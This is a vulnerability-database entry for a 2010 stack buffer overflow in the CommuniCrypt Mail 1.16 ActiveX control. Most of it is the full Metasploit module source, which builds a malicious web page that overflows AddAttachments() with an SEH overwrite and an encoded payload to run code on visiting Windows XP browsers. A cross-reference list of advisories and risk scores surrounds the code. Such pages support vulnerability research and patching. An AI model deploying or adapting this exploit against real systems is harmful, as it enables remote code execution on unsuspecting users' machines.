CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow

🗓️ 19 May 2010 00:00:00Reported by Lincoln, dookieType

This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll ActiveX Control provided by CommuniCrypt Mail 1.16. By sending an overly long string to the "AddAttachments()" method, an attacker may be able to execute arbitrary code

Reporter	Title	Published	Views	Family All 10
ATTACKERKB	CVE-2010-20119	21 Aug 202520:09	–	attackerkb
Circl	CVE-2010-20119	29 May 201815:50	–	circl
CNNVD	CommuniCrypt Mail 安全漏洞	21 Aug 202500:00	–	cnnvd
CVE	CVE-2010-20119	21 Aug 202520:09	–	cve
Cvelist	CVE-2010-20119 CommuniCrypt Mail <= 1.16 ANSMTP/AOSMTP ActiveX Control Buffer Overflow	21 Aug 202520:09	–	cvelist
EUVD	EUVD-2010-5321	7 Oct 202500:30	–	euvd
NVD	CVE-2010-20119	21 Aug 202520:15	–	nvd
Positive Technologies	PT-2025-34288 · Undefined · Undefined	21 Aug 202500:00	–	ptsecurity
RedhatCVE	CVE-2010-20119	23 Aug 202520:13	–	redhatcve
Vulnrichment	CVE-2010-20119 CommuniCrypt Mail <= 1.16 ANSMTP/AOSMTP ActiveX Control Buffer Overflow	21 Aug 202520:09	–	vulnrichment

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll
          ActiveX Control provided by CommuniCrypt Mail 1.16.  By sending an overly
          long string to the "AddAttachments()" method, an attacker may be able to
          execute arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Lincoln', # Original exploit author
          'dookie' # MSF module author
        ],
        'References' => [
          [ 'CVE', '2010-20119' ],
          [ 'OSVDB', '64839' ],
          [ 'EDB', '12663' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], # p/p/r in AOSMTP.dll
        ],
        'DisclosureDate' => '2010-05-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname = rand_text_alpha(rand(100) + 1)
    strname = rand_text_alpha(rand(100) + 1)

    filler = rand_text_alpha(target['Offset'])
    seh = generate_seh_payload(target.ret)
    trailer = rand_text_alpha(1000 - p.encoded.length)
    sploit = filler + seh + p.encoded + trailer

    # Build out the message
    content = %Q|<html>
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.AddAttachments(#{strname});
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

19 May 2010 00:00Current

5.9Medium risk

Vulners AI Score5.9

CVSS 48.6

EPSS0.0113

SSVC